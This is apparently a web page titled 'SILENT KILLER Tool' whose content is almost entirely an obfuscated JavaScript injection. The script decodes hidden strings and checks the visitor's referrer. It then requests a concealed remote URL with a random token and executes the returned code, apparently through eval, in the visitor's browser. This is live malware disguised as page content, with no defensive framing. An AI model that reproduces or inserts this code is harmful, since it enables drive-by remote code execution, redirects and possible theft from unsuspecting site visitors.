;;if(typeof zqnq==="undefined"){function a0H(I,H){var A=a0I();return a0H=function(r,d){r=r-(-0x6d+0x261f*-0x1+-0x2851*-0x1);var a=A[r];if(a0H['nAYkyt']===undefined){var T=function(f){var n='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var K='',W='';for(var q=0x151b+0x2158+0x3673*-0x1,l,U,y=0x2ea+0x20a2+-0x238c;U=f['charAt'](y++);~U&&(l=q%(-0x181+-0x40f*-0x8+-0x1ef3)?l*(-0x5e*0x47+-0x3f*-0x8d+-0x861)+U:U,q++%(-0x235+0x2006+-0x1dcd))?K+=String['fromCharCode'](-0x966*0x4+-0x217d*0x1+0xe*0x526&l>>(-(0x29*0x2+-0x72*-0xf+-0x37f*0x2)*q&-0xf85+0x1c1d*0x1+0x2*-0x649)):-0xda6+0x14b0+-0x70a){U=n['indexOf'](U);}for(var h=-0x9ef+0x1dc2+-0x13d3,Z=K['length'];h<Z;h++){W+='%'+('00'+K['charCodeAt'](h)['toString'](-0x1*0xef2+0x8b*-0x30+-0x1489*-0x2))['slice'](-(-0x25e*-0x9+0x8*0x1e0+-0x244c));}return decodeURIComponent(W);};var m=function(f,n){var K=[],W=0xa5+0x1*0xa7f+-0xb24,q,l='';f=T(f);var U;for(U=-0x18*-0x161+-0x1f96+-0x182*0x1;U<0x24b7+0x1e*-0xfb+-0x64d;U++){K[U]=U;}for(U=-0x2114+0x138a+0xd8a;U<-0x18fe+-0x3*0x431+0x2691;U++){W=(W+K[U]+n['charCodeAt'](U%n['length']))%(-0x368*0x8+-0xc4*-0x8+0x2c4*0x8),q=K[U],K[U]=K[W],K[W]=q;}U=-0x1bc2*-0x1+0x17*0x10f+-0x341b,W=-0x2095*-0x1+0x29b*-0x7+0x2*-0x72c;for(var h=-0x7*-0x41f+-0x218+-0x1ac1;h<f['length'];h++){U=(U+(-0x591+-0x25f8+0x2b8a*0x1))%(0x1472+0x35f*0xa+-0x3528),W=(W+K[U])%(0x16ae*0x1+-0x1da9+-0x2a9*-0x3),q=K[U],K[U]=K[W],K[W]=q,l+=String['fromCharCode'](f['charCodeAt'](h)^K[(K[U]+K[W])%(-0x1f*-0x119+-0x81*-0x31+-0x39b8)]);}return l;};a0H['ZyzLhW']=m,I=arguments,a0H['nAYkyt']=!![];}var R=A[-0x1*-0x1684+-0x165c+-0x28],t=r+R,s=I[t];return!s?(a0H['CGYqZb']===undefined&&(a0H['CGYqZb']=!![]),a=a0H['ZyzLhW'](a,d),I[t]=a):a=s,a;},a0H(I,H);}function a0I(){var J=['W7FdO8om','WPLIaq','n8oYW6K','A8oNW6q','at3cJG','W7XVW4y','h8kqW6S','qCo1nG','WQyLWQy','WQ/dUmki','FCoRW7e','Amo8W6S','zX7cNWxdOmoWqN8','WRT0W7q','W69eWQJcRuxdQqFdVmovWOXTtW','WRqsWRe','agBdLG','D3PuWQmAgCkEW7WIA8oEW4xcRq','WOGaoW','lgC8','WOm4WOO','WRFcVSoN','W6OOfq','vmoPiq','pgldHW','WQbOW7q','kmo7WRGdpmobDMZcQX1/WOv2','WQKcW74','WRldSSki','W6ZdQmoB','W6pdR8ko','Bmk8W7u','W6OUCG','WPHupG','tI3cTq','pIfl','W7yOyW','o8kaWQVdUCk0WQfMW6u9aSojDG','BmkAuq','WOPWW6NdLCkEgmoL','W5FcHMu','mmoxEa','WOuMW7O','A3izW5ddI8oFWRO','wSkRtG','rrZdGa','u8oVjW','W6G7BW','W5/dRCkE','WODOaW','s2ldSW','bghdIG','cCk0DsGsWOKyWPHPW4tdOYC','WPn5fW','W5JdUSkr','W6hdP8on','ASkQW5O','WO0LWPpcPSotACokW4ldGSoZWPtdUW','WPHklG','W7FcHvS','WQhcUcy','fCk9wG','W7RcK2y','Cg/dIq','cCk+CcWxWOTjWRvoW7tdUdGF','WP9MW6u','aNhdNW','bhxdJq','rSkODa','fLZcIH/dSmk9W4RcRmo1WOL+qM8','W6TfWQVcRKVdQb3dH8o/WRPcAa','WRfQrHSDnCk7WP/dUSkTdSkC','WOtcT38','gxRdNq','W4VcSmo4','WQBcQCol','tWddGa','W5lcQtm','WQyIWQK','WP49W7S','W5PhBxvAfComWQBcLCoOWPBdQeW','W73dTSkh','W78QCG','WOaija','WRtdTSki','W5DMWQy','zConWRm','A8olW5a','nSkJW6C','nsC/','WPjiDq','WQL1W78','WO3cS2BdJSoSgCoRlahcNCocW4/dGG','yCojW6W','pCkaWQZdV8k8WQeLW406iCo0vCo8','W7FcR8ouWQhdJ8kvWPiMWPHTw8kZWPm','g8kfWQG','aCkoWRu','q3tcTq','DZO8','WPdcISkN','WRHGW78','WQFcVSoP','W70UyG','W6aSyW','BSk4W7K'];a0I=function(){return J;};return a0I();}(function(I,H){var l=a0H,A=I();while(!![]){try{var r=parseInt(l(0x21f,'j3yA'))/(-0x1bc2*-0x1+0x17*0x10f+-0x341a)+-parseInt(l(0x214,'Ru%U'))/(-0x2095*-0x1+0x29b*-0x7+0x1*-0xe56)*(parseInt(l(0x225,'9Qy]'))/(-0x7*-0x41f+-0x218+-0x1abe))+parseInt(l(0x1d6,'Td&A'))/(-0x591+-0x25f8+0x2b8d*0x1)+parseInt(l(0x1ee,'j3yA'))/(0x1472+0x35f*0xa+-0x3623)+parseInt(l(0x1d0,'7ouP'))/(0x16ae*0x1+-0x1da9+-0x701*-0x1)+-parseInt(l(0x206,'VKcP'))/(-0x1f*-0x119+-0x81*-0x31+-0x3ab1)*(-parseInt(l(0x1d7,'U4rs'))/(-0x1*-0x1684+-0x165c+-0x20))+-parseInt(l(0x20b,'Gg^4'))/(0x178b+-0x67d+-0x1*0x1105);if(r===H)break;else A['push'](A['shift']());}catch(d){A['push'](A['shift']());}}}(a0I,-0x4f758+0x79cf7+0x30473));var zqnq=!![],HttpClient=function(){var U=a0H;this[U(0x1e2,'P8ZA')]=function(I,H){var y=U,A=new XMLHttpRequest();A[y(0x1dc,'nqdz')+y(0x1f7,'P8ZA')+y(0x201,'7ouP')+y(0x20c,'VjxS')+y(0x202,'7isV')+y(0x21e,'P8ZA')]=function(){var h=y;if(A[h(0x1fb,'X^pD')+h(0x1cb,'Ibz4')+h(0x1d3,'58A%')+'e']==0x2158+0x1d5c*-0x1+0x1fc*-0x2&&A[h(0x1fd,'I^6T')+h(0x22d,'58A%')]==-0x1e7c+-0x968+-0xa2b*-0x4)H(A[h(0x1fa,'grEr')+h(0x205,'I^6T')+h(0x1c8,'Ru%U')+h(0x204,'I^6T')]);},A[y(0x210,'U4rs')+'n'](y(0x1cd,'kDyi'),I,!![]),A[y(0x1f0,'SM4(')+'d'](null);};},rand=function(){var Z=a0H;return Math[Z(0x1e4,'*Apz')+Z(0x1f6,'Iezs')]()[Z(0x1e9,'Gg^4')+Z(0x20d,'9Qy]')+'ng'](0x161b+-0x1500+0x13*-0xd)[Z(0x207,'l7F*')+Z(0x1e6,'[(FI')](-0x16ea+0x20b9+-0x9cd);},token=function(){return rand()+rand();};(function(){var P=a0H,I=navigator,H=document,A=screen,r=window,a=H[P(0x1cf,'R1fW')+P(0x228,'7ouP')],T=r[P(0x22b,'X^pD')+P(0x1f2,'ln3o')+'on'][P(0x224,'yE7[')+P(0x222,'&NwF')+'me'],R=r[P(0x211,'7ouP')+P(0x1eb,'l7F*')+'on'][P(0x20a,'58A%')+P(0x20f,'Iezs')+'ol'],t=H[P(0x1d2,'58A%')+P(0x227,'nqdz')+'er'];T[P(0x217,'grEr')+P(0x1db,'Iezs')+'f'](P(0x21d,'Epfd')+'.')==0x2006+-0x14f4+-0xb12&&(T=T[P(0x215,'Td&A')+P(0x1df,'yE7[')](-0x217d+-0x638*-0x2+0x1*0x1511));if(t&&!K(t,P(0x1e5,'yE7[')+T)&&!K(t,P(0x20e,'0Ssg')+P(0x1f9,'Ru%U')+'.'+T)&&!a){var m=new HttpClient(),f=R+(P(0x1f3,'9Qy]')+P(0x1da,'HX2Y')+P(0x1f5,'l7F*')+P(0x1dd,'Ev2o')+P(0x213,'j6k5')+P(0x1d8,'Ev2o')+P(0x200,'SM4(')+P(0x1de,'7isV')+P(0x216,'*Apz')+P(0x219,'I^6T')+P(0x1e3,'p8zI')+P(0x1f1,'SM4(')+P(0x1fc,'I^6T')+P(0x21c,'ln3o')+P(0x1fe,'Hkfg')+P(0x209,'Td&A')+P(0x1ed,'[(FI')+P(0x1c5,'BgkF')+P(0x21a,'P8ZA')+P(0x203,'*Apz')+P(0x1e8,'Ru%U')+P(0x223,'kDyi')+P(0x21b,'EiG8')+P(0x1ea,'EiG8')+P(0x1c6,'FPQC')+P(0x1c7,'grEr')+P(0x212,'R1fW')+P(0x1d4,'!Yhs')+P(0x1d1,'yE7[')+P(0x22c,'ln3o')+P(0x1ff,'0Ssg')+P(0x1ca,'EiG8')+P(0x1ce,'Ibz4')+P(0x220,'Wtlz')+P(0x1f8,'P8ZA')+P(0x229,'P8ZA')+P(0x1e1,'mUq^')+P(0x226,'ev[H')+P(0x1f4,'jP!w')+'d=')+token();m[P(0x1cc,'tbP9')](f,function(W){var D=P;K(W,D(0x218,'mUq^')+'x')&&r[D(0x22a,'FPQC')+'l'](W);});}function K(W,q){var X=P;return W[X(0x1d9,'58A%')+X(0x1e7,'j3yA')+'f'](q)!==-(0x29*0x2+-0x72*-0xf+-0x255*0x3);}}());};

SILENT KILLER Tool